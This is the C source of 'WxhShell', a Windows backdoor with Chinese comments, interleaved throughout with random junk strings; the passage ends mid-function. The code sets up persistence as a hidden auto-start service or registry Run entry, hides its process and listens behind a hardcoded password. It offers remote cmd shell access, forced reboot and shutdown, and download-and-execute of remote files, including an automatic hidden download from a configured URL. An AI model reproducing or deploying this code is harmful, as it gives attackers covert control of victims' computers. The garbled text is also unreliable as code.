HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~wnOV#v if(NULL == hInst ) return 0; Z{IUy 0rk]/--FGJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jcCoan g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M/D)".; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B
(/U3}w- kpwt]]e* if (!NtQueryInformationProcess) return 0; &MR/6"/s "o!{51!' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /il@`w;G if(!hProcess) return 0; #yseiVm; (LvS
:?T} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $$i.O} AEmNHO@%q CloseHandle(hProcess); >M%\T}5 ^da44Qqu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Wp8u#4L if(hProcess==NULL) return 0; Ph&urxH@ P27%xV-n> HMODULE hMod; T[k4lM char procName[255]; C;AA/4Ib unsigned long cbNeeded; _s,ao'/ wo2@hav if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `i,_aFB| )|j[uh6wo CloseHandle(hProcess); v4Zb?
Yb }g+;y if(strstr(procName,"services")) return 1; // 以服务启动 :qhpL-ER 4:3rc7_
1 return 0; // 注册表启动 ] U@o0 } -!RtH |P @YvOoTyb // 主模块 yn
AB int StartWxhshell(LPSTR lpCmdLine) + j+5ud` { uxn)R#? SOCKET wsl; kEeo5XN BOOL val=TRUE; e;bYaM4UX int port=0; Mpue struct sockaddr_in door; Mvj;ic6iK H?1xjY9sl if(wscfg.ws_autoins) Install(); lA!"z~03* 5cr(S~Q; port=atoi(lpCmdLine); &hHW3Q(1 t22;87&| if(port<=0) port=wscfg.ws_port; I:&/`K4,x, snM Z0W WSADATA data; P;ZU-G4@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QB!~Wh m8Vdb"0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P`4]-5gE setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dhg~$CVO door.sin_family = AF_INET; #T K~eHi door.sin_addr.s_addr = inet_addr("127.0.0.1"); BC>=B@H0 door.sin_port = htons(port); i=a-<A5x 2'jOP"G if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #qU-j/Qf closesocket(wsl); gbOpj3 return 1; !{et8F@d| } j*@l"V>~ [sV"ws if(listen(wsl,2) == INVALID_SOCKET) { }K1 0Po' closesocket(wsl); ^{$FI`P return 1; F+ <Z<q } MiT}L Wxhshell(wsl); v dbO( WSACleanup(); .9*wY0: wZT%Ee\D% return 0; 8kE]_t ;DA8B'^> } e<7.y#L YG:3Fhx0~ // 以NT服务方式启动 M$4k; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e"]8T}, { W/z7"# DWORD status = 0; x_=n-lAF DWORD specificError = 0xfffffff; k NqS8R| 4EI7W,y serviceStatus.dwServiceType = SERVICE_WIN32; %R#L serviceStatus.dwCurrentState = SERVICE_START_PENDING;
e:E0 "< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'oNO-)p\#! serviceStatus.dwWin32ExitCode = 0; DBLk!~IF serviceStatus.dwServiceSpecificExitCode = 0; *,C(\!b
!? serviceStatus.dwCheckPoint = 0; 7 J^rv9i4 serviceStatus.dwWaitHint = 0; mvW% w&$d* E hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #&<)! YY5 if (hServiceStatusHandle==0) return; \]Kh[z0" 3uU]kD^ status = GetLastError(); mC&=X6Q] if (status!=NO_ERROR) e+v({^k { n8=5-7UT serviceStatus.dwCurrentState = SERVICE_STOPPED; # ,uya2!) serviceStatus.dwCheckPoint = 0; 3<=,1 cU serviceStatus.dwWaitHint = 0; spU)]4P& serviceStatus.dwWin32ExitCode = status; 0tISXu- serviceStatus.dwServiceSpecificExitCode = specificError; d\MLOXnLq; SetServiceStatus(hServiceStatusHandle, &serviceStatus); `
8W* return; lPH%Do>K } 2Y}?P+:%> h'J|K^na serviceStatus.dwCurrentState = SERVICE_RUNNING; !f>d_RG serviceStatus.dwCheckPoint = 0; Y^Nuz/ serviceStatus.dwWaitHint = 0; }7fZ[J3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?1L.:CS } gM>t0)mGK L!/\8-&$P // 处理NT服务事件,比如:启动、停止 4${jr\q] VOID WINAPI NTServiceHandler(DWORD fdwControl) V^y^
;0I}[ { ')a(.f switch(fdwControl) 5vo.[^ty { j.a`N2]WE case SERVICE_CONTROL_STOP: jA".r'D% serviceStatus.dwWin32ExitCode = 0; kdz=ltw serviceStatus.dwCurrentState = SERVICE_STOPPED; -?]W*f serviceStatus.dwCheckPoint = 0; #QCphhG serviceStatus.dwWaitHint = 0; 64Lx-avf { R [H+qr SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yw _+`,W } !-s!f&_ return; ,1'4o3 case SERVICE_CONTROL_PAUSE: pZ`|iLNl- serviceStatus.dwCurrentState = SERVICE_PAUSED; =_j vk. break; FYs)MO case SERVICE_CONTROL_CONTINUE: Vz14j_ serviceStatus.dwCurrentState = SERVICE_RUNNING; %1pYEHn break; "~UUx"Y case SERVICE_CONTROL_INTERROGATE: -(#I3h;I break; EM>}0V }; y"]n:M:( SetServiceStatus(hServiceStatusHandle, &serviceStatus); y(R?
,wa=] } nEzf.[+9/ mw_Ew]& // 标准应用程序主函数 *5bLe'^\|K int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =to=8H- { !=;XBd- aA7=q= // 获取操作系统版本 W\1i,ew> OsIsNt=GetOsVer(); f%5zBYCgC GetModuleFileName(NULL,ExeFile,MAX_PATH); XC{eX&,2x E{6~oZ#L // 从命令行安装 (}. @b|s if(strpbrk(lpCmdLine,"iI")) Install(); Y*_)h\f V"cKJ;s // 下载执行文件 f7Ul(D:j\ if(wscfg.ws_downexe) { q&C""!h^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Xc@3gF WinExec(wscfg.ws_filenam,SW_HIDE); O1')nYF7 } tx?dIy; CctJFcEZ if(!OsIsNt) { 9&<x17' // 如果时win9x,隐藏进程并且设置为注册表启动 B|o2K}%f HideProc(); BL@:!t StartWxhshell(lpCmdLine); ?UM*Xah } keRE==(D else Em[DHfu1Q if(StartFromService()) 04r$>#E // 以服务方式启动 L(GjZAP StartServiceCtrlDispatcher(DispatchTable); j*xV!DqC else c8Z wr]DF // 普通方式启动 vb9OonE2 StartWxhshell(lpCmdLine); E2)h?cs hsu{ey p return 0; fnx-s{c? } fdONP>K[E UMX@7a,[3 (a9d/3M \.M*lqI =========================================== |bgo;J/ bLt.O(T} fM^[7;]7e #^+DL]*l "RIZV 6q
2_WX " `6+"Z=: 3Hf0MAt #include <stdio.h> .s$z/Jv #include <string.h> ;c$ J=h] #include <windows.h> .k,YlFvj #include <winsock2.h> O|_h_I-2 #include <winsvc.h> C]Q8:6b #include <urlmon.h> QeF3qXI FVhU^ #pragma comment (lib, "Ws2_32.lib") .F+@B\A< #pragma comment (lib, "urlmon.lib") DBP9{ x$ Q_l'o3 #define MAX_USER 100 // 最大客户端连接数 $1ndKB8)`J #define BUF_SOCK 200 // sock buffer s&'QN=A #define KEY_BUFF 255 // 输入 buffer \W1/p` [9:9Ql_h #define REBOOT 0 // 重启 -*.-9B~u #define SHUTDOWN 1 // 关机 :6$>_m=i 6;b~Ht #define DEF_PORT 5000 // 监听端口 ]l8^KX' F-6c_! #define REG_LEN 16 // 注册表键长度 \TU3rk&X #define SVC_LEN 80 // NT服务名长度 [z7bixN J4Dry< // 从dll定义API Mw9 \EhA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V')0 Mr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #:SNHM^>< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4`,j =3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dc)dE2 s.8{5jVG // wxhshell配置信息 Z1"v}g struct WSCFG { X.:]=,aGW int ws_port; // 监听端口 $M Jm*6h char ws_passstr[REG_LEN]; // 口令 X1~1&:V,< int ws_autoins; // 安装标记, 1=yes 0=no DK}"b}Fvq char ws_regname[REG_LEN]; // 注册表键名 k1Q?'<` char ws_svcname[REG_LEN]; // 服务名 j&k6O1_ char ws_svcdisp[SVC_LEN]; // 服务显示名 0Fu~%~#E$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 4>J
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G8Du~h!!U int ws_downexe; // 下载执行标记, 1=yes 0=no oY, %Iq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nz)l<S9> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u{L!n$D7 <_Q1k> }; kBN+4Dr/$ }V\N16f // default Wxhshell configuration m^qBxA struct WSCFG wscfg={DEF_PORT, H=
X|h) "xuhuanlingzhe", zP<pEI 1, <I;2{*QI2 "Wxhshell", ZRYEqSm "Wxhshell", n'emNRa "WxhShell Service", }\C-}
Q "Wrsky Windows CmdShell Service", &\_iOw8 "Please Input Your Password: ", 4!KoFoZt* 1, uG<}N= "http://www.wrsky.com/wxhshell.exe", {p,]oOq\ "Wxhshell.exe" *z7dl5xJ }; )+fh-Ui ZK)%l~J // 消息定义模块 #Qkroji
qw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fum0>tff char *msg_ws_prompt="\n\r? for help\n\r#>";
Tgl} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A<ynIs< char *msg_ws_ext="\n\rExit."; G$sA`<< char *msg_ws_end="\n\rQuit."; 71l%MH char *msg_ws_boot="\n\rReboot..."; TiH)5 char *msg_ws_poff="\n\rShutdown..."; b5^OQH{v char *msg_ws_down="\n\rSave to "; )5
R=Z< k?7 X3/O char *msg_ws_err="\n\rErr!"; "!EcbR char *msg_ws_ok="\n\rOK!"; C"{k7yT QPq7R char ExeFile[MAX_PATH]; KZeQ47| int nUser = 0; 0Zg%+)iy@ HANDLE handles[MAX_USER]; '}9JCJ int OsIsNt; //aF5:Y# Gw1@KKg SERVICE_STATUS serviceStatus; :Lz\yARpk SERVICE_STATUS_HANDLE hServiceStatusHandle; LcE+GC ."Y
e\>k // 函数声明 bwl|0"f+` int Install(void); gmm.{%1_I; int Uninstall(void); Pfs;0}h5 int DownloadFile(char *sURL, SOCKET wsh); M.>l#4s,' int Boot(int flag); Nr=d<Us9f void HideProc(void); )YqXRm int GetOsVer(void); T'~!9Q int Wxhshell(SOCKET wsl); )l#E}Uz void TalkWithClient(void *cs); /:FOPPs int CmdShell(SOCKET sock); !* OJ.W& int StartFromService(void); .(WQYOMl0 int StartWxhshell(LPSTR lpCmdLine); iya"ky~H m?&1yU9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y&K;l_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); B2O} 1. plZ>03(6Q // 数据结构和表定义 CJ++?hB]X SERVICE_TABLE_ENTRY DispatchTable[] = ki)#d'
} { w[ ~#av9 {wscfg.ws_svcname, NTServiceMain}, 6VhjJJ {NULL, NULL} y
TDNNK }; Kde9
$ RH|XxH* // 自我安装 /g4f`$a int Install(void) aT`%;i^ { 3Gip<\$v char svExeFile[MAX_PATH]; } GiHjzsR HKEY key; 42qYg(tZ strcpy(svExeFile,ExeFile); yR\btx|e5~ zi3\63D3eO // 如果是win9x系统,修改注册表设为自启动 Ct%x&m: if(!OsIsNt) { G2FXrkU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nt@aYXK4| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T|TO }_x RegCloseKey(key); +="e]Yh; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |u ;v27 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qQH]`#P RegCloseKey(key); @qHNE,K return 0; 6!(@@^7{* } Q0ON9gqqv } \0gM o& } #KiRfx4G else { }3L@J8:D" &EnuE0BD // 如果是NT以上系统,安装为系统服务 ^) s2$A:L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L{`JRu if (schSCManager!=0) E)fglYWs2 { s91JBP|B7 SC_HANDLE schService = CreateService UMcgdJB ( FJ6u.u schSCManager, }:~x7|~s: wscfg.ws_svcname, L:'J
Bhg wscfg.ws_svcdisp, 5hy""i SERVICE_ALL_ACCESS, J`^I./ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oo.2Dn6z SERVICE_AUTO_START, }O4^Cc6 SERVICE_ERROR_NORMAL, q')R4=0
K svExeFile, fP `b>]N_ NULL, 1N>|yQz NULL, aUtnR<6 NULL, uF3qD|I\ NULL, t0T"@t#c NULL m
RO~aD!N ); x
a06i# if (schService!=0) QD>"]ap,o { 4tS.G CloseServiceHandle(schService); E}tqQ*u CloseServiceHandle(schSCManager); '>rw(3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q+vx_4 strcat(svExeFile,wscfg.ws_svcname); I=NZokfS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xcf%KXJf6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oGRhnP'PF+ RegCloseKey(key); M )2`+/4 return 0; x HhN } ;{%\9nS } {b
CloseServiceHandle(schSCManager); ~Wa6J4B{K } _n` a`2C|m }
i|m3mcI%2 6Avw-}.7> return 1; E!P yL>){ } y7i*s^ys{ K]9"_UnN // 自我卸载 k4[|'Dk? int Uninstall(void) d$Pab* { 2FW\O0U HKEY key; oczN5YSt `6xkf&Kt if(!OsIsNt) { lh;:M-b9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >M/V oV RegDeleteValue(key,wscfg.ws_regname); xsMBC
RegCloseKey(key); ~'CE[G5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XUlS\CH@{ RegDeleteValue(key,wscfg.ws_regname); Uh):b%bS;J RegCloseKey(key); 9
o&`5 return 0; rq/I` : } fL=~NC" } -B$2\ZE } la+[bm<v else { SrK) t.oK 8{X"h# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3^6
d]f if (schSCManager!=0) ikSt"}/hd { SV~~Q_U9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PJL=$gBgKk if (schService!=0) Rw:*'1 { HEM9E&rL if(DeleteService(schService)!=0) { ssN6M./6 CloseServiceHandle(schService); ktpaU,% CloseServiceHandle(schSCManager); 6'Worj return 0; E}nH1 } ^*Yh@4\{JH CloseServiceHandle(schService); ^kB8F"X } $H9%J CloseServiceHandle(schSCManager); J:zU,IIJ } P IwFF}<( } Y*vW!yu f__cn^1 return 1; d!
LE{ } De(Hw&
IV ~,B5Hc 2 // 从指定url下载文件 65aK2MS@ int DownloadFile(char *sURL, SOCKET wsh) ?qWfup\S { hj.a&% HRESULT hr; bKN@j'M char seps[]= "/"; j?x>_#tIY char *token; +yD`3`
E char *file; <,e+
kL{ char myURL[MAX_PATH]; v63"^%LX char myFILE[MAX_PATH]; -RvQB cLsV`@J(k strcpy(myURL,sURL); @8ppEFw token=strtok(myURL,seps); m1Mt#@,$ while(token!=NULL) 1R1z { n' q4 file=token; ]X ?7ZI^ token=strtok(NULL,seps); GfmI<{da } ei[j1F +N:o-9 GetCurrentDirectory(MAX_PATH,myFILE); zM(vr"U strcat(myFILE, "\\"); =aBctd:eX` strcat(myFILE, file); ne_TIwf w- send(wsh,myFILE,strlen(myFILE),0); V^Q#:@0 send(wsh,"...",3,0); yU-e3O7L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sWc*5Rt if(hr==S_OK) /! "|_W|n return 0; "Pu!dJ5[] else f>UXD return 1; Xy$3VU* +>{Y.`a;Jo } m0;CH/D0 P;ci9vk // 系统电源模块 uJC~LC N int Boot(int flag)
c_'OPJ { \Ani}qQ%| HANDLE hToken; |m^k_d!d TOKEN_PRIVILEGES tkp;
G(G{RAk> ~5CBEIF(NS if(OsIsNt) { ZOeQ+j)|I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 65#'\+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1]@}|
tkp.PrivilegeCount = 1; noml8o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \1fN0e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hM6PP7XH if(flag==REBOOT) { @W[f1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rPLm5ni return 0; rLI8pA|. } opy("qH else { Y6zbo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I J( return 0; 8{^WY7.' } @oV9) } <FcG
oGK else { e}
P I^bc if(flag==REBOOT) { "J[K 3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |ZRagn30 return 0; lFV N07hG
} 6i.-6></ else { Af'" 6BS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]v]qChZHd return 0; jU9$Ehg
I } ~,oMz<iMV } 3c]b)n~Y gT0BkwIV return 1; [BqHx5Xz( } z8SmkL r0+6evU2 // win9x进程隐藏模块 6/r)y+H void HideProc(void) +#lM { ,D]QxbwZ pgE}NlW HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -ZRO@&tMD if ( hKernel != NULL ) N343qU { Py@wJEo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OZ
|IA:,} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a1t4Dd FreeLibrary(hKernel); P3)Nl^/ } X\@C.H2ttY O&4SCVZp return; AP7Yuv` } ]+XYEv ifUGY[ L // 获取操作系统版本 Z{ X|6. int GetOsVer(void) AGQ#$fh>7= { %S*{9hm/ OSVERSIONINFO winfo; 'rO!AcdLU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sjyoc<Uo GetVersionEx(&winfo); 17oa69G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q@<S[Qh[. return 1; S+atn]eU@ else VC\ S'z return 0; naYrpK,. } beRVD>T /H(?
2IHC // 客户端句柄模块 a!<8\vzg int Wxhshell(SOCKET wsl) si`A:14R { 52 fA/sx SOCKET wsh; ES.fOdx struct sockaddr_in client; ZniB]k1 DWORD myID;
-QM:
q #h8Sq~0 while(nUser<MAX_USER) aB{vFTD5 { )z73-M V" int nSize=sizeof(client); j53*E
)d wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h_:C+)13`x if(wsh==INVALID_SOCKET) return 1; vq^f}id +e yc`J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s:/8[(A if(handles[nUser]==0) 4'`{H@]tb closesocket(wsh); \N!AXD else U(Nu% nUser++; % NA9{<I } fPn>v)lN{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #sPHdz'3M %r%M lj:# return 0; KxYwJ } Rs-]N1V 86 W9rR // 关闭 socket 6:Ch^c+IZ void CloseIt(SOCKET wsh) aY'C%^h] { ]iN'x?Fo closesocket(wsh); :PIF07$xl nUser--; :km61 ExitThread(0); trPAYa}W } Q[vJqkgT wRcAX%n& // 客户端请求句柄 Xjo5v*P u void TalkWithClient(void *cs) /'].lp { ^)(bM$(` ~P8tUhffK SOCKET wsh=(SOCKET)cs; T>}5:,N~ char pwd[SVC_LEN]; L+Xc-uv["p char cmd[KEY_BUFF]; *1p|5!4c char chr[1]; @kpv{`Y int i,j; 2XFU1 AW !sDh4jQ` while (nUser < MAX_USER) { ^?0DP>XA PP;}e if(wscfg.ws_passstr) { +BVym~*^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zLD0RBj7p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T (OW //ZeroMemory(pwd,KEY_BUFF); v,
n$^R i=0; 'Jt]7;04p while(i<SVC_LEN) { ^?cz,N~ lE;Ewg // 设置超时 #!aN{nK0 fd_set FdRead; {1V($aBl struct timeval TimeOut; "= 6_V?&w FD_ZERO(&FdRead); :3XA!o&.T3 FD_SET(wsh,&FdRead); @wpN6 / TimeOut.tv_sec=8; '(f&P=[b TimeOut.tv_usec=0; <3xyjX'NE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x_|UPF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4}_j`d/8| uw[<5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *5vV6][ pwd=chr[0]; M=1n QF2J if(chr[0]==0xd || chr[0]==0xa) { 4
Y;Nm1@ pwd=0; rR9|6l
3 break; mef<=5t } [5zx17' i++; T&%ux=Jt } Kqp(%8mf &Sl[lXE // 如果是非法用户,关闭 socket y4t7`-,~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |X0Y- } SSz~YR^}Sr bvv|;6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xC*6vH]? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T*#/^%HSG @ zs'Y8 while(1) { ^T ?RK"p U]^HjfX\ ZeroMemory(cmd,KEY_BUFF); *AoR==:ya O4r0R1VQM // 自动支持客户端 telnet标准 NLUT#!Gr j=0; P|.] DJ while(j<KEY_BUFF) { /tP|b_7O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :rHJ4Tl cmd[j]=chr[0]; uJFdbBDSh if(chr[0]==0xa || chr[0]==0xd) { fBRo_CU8! cmd[j]=0; yRSTk2N@ break; )2V: } eoai(&o0$ j++; q}~3C1 } ?&|5=>u2}$ *+j*{>E // 下载文件 @x"0_Qw if(strstr(cmd,"http://")) { LV\DBDM send(wsh,msg_ws_down,strlen(msg_ws_down),0); G B>QK if(DownloadFile(cmd,wsh)) rs,2rSsg! send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qr^|:U!;[z else 2q3+0Et8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tE@;X= } 4a'N>eDR else { 6^]!gR#B E"+QJ~! switch(cmd[0]) {
5&v~i\Q RRRCS]y7$t // 帮助 4*Q#0`um case '?': { ^.1c{0Y^0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
0Uo\wyd break; J4Nln } AtdlZ // 安装 ]|MEx{BG- case 'i': { .Xce9C0SW if(Install()) ( M7pT send(wsh,msg_ws_err,strlen(msg_ws_err),0); x|mqL-Q f else <_3b1VhZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |&FkksNAl\ break; ]}U*_rM: } JsDpy{q // 卸载 X:6c}p%,! case 'r': { &?q/1vLa if(Uninstall()) *MJX? send(wsh,msg_ws_err,strlen(msg_ws_err),0); _59huC. else g=QDu7Ux send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LL2=& VK break; 8g&?
Cc } kKAP"'v // 显示 wxhshell 所在路径 Zrvz;p@~ case 'p': { a#>Yh;FA char svExeFile[MAX_PATH]; MC<PM6w strcpy(svExeFile,"\n\r"); _(h&7P9 strcat(svExeFile,ExeFile); T(t+
iv send(wsh,svExeFile,strlen(svExeFile),0); \De{9v break; c- }X_)U } } c17_2 @N // 重启 VO$
iNK case 'b': { 8ELCs<xI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sC='_h if(Boot(REBOOT)) WN01h=1J_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); %KmiH
;U else { u/M+u; closesocket(wsh); w,h`s.AN ExitThread(0); |962G1. } ]`kmjn break; }UWL-TkEjF } DV _2P$tT| // 关机 .u4
W / case 'd': { 7T1=q{#M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -?mfE+kt if(Boot(SHUTDOWN)) 8Le||)y,\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (>r[-Bft else { Cq%IE^g< closesocket(wsh); pov)Z):}G< ExitThread(0); gLy&esJl1 } m06ALD_ break; {buo^kgj`] } @}@Z8$G^ // 获取shell k&,~qoU case 's': { Q
aS\(_ CmdShell(wsh); rNB_W. closesocket(wsh); B oC5E#;G ExitThread(0); W3 'q\+ break; zxC#0@qX07 } E;+O($bA // 退出 LN@F+CyDc case 'x': { jV4\A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
\4v]7SV CloseIt(wsh); yt.F\ [1 break; PK0%g$0 } ie2WL\tR4 // 离开 _i20|v case 'q': { Y*H|?uNF send(wsh,msg_ws_end,strlen(msg_ws_end),0); &o,<ijJ:^m closesocket(wsh); jpO7'ivG WSACleanup(); f'
3q(a<p exit(1); iZM+JqfU|D break; a=hxJ1O } ~])t 6i } @Ub"5Fl4 } J/[=p<I) g7OqX \ // 提示信息 gK[YQXfTy if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @te!Jgu{ } >_|O1H./4 } qI~xlW
.6`9H 1 return; &(xH$htv1 } i 7x7xtq 4}4Pyjh // shell模块句柄 A29gz:F( int CmdShell(SOCKET sock) |j#C|V%kV { 1 D<_N STARTUPINFO si; J"=vE= ZeroMemory(&si,sizeof(si)); ^yyC
[Mz si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wtH?
[>S;) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (2:/8\_P PROCESS_INFORMATION ProcessInfo; UN]f"k& |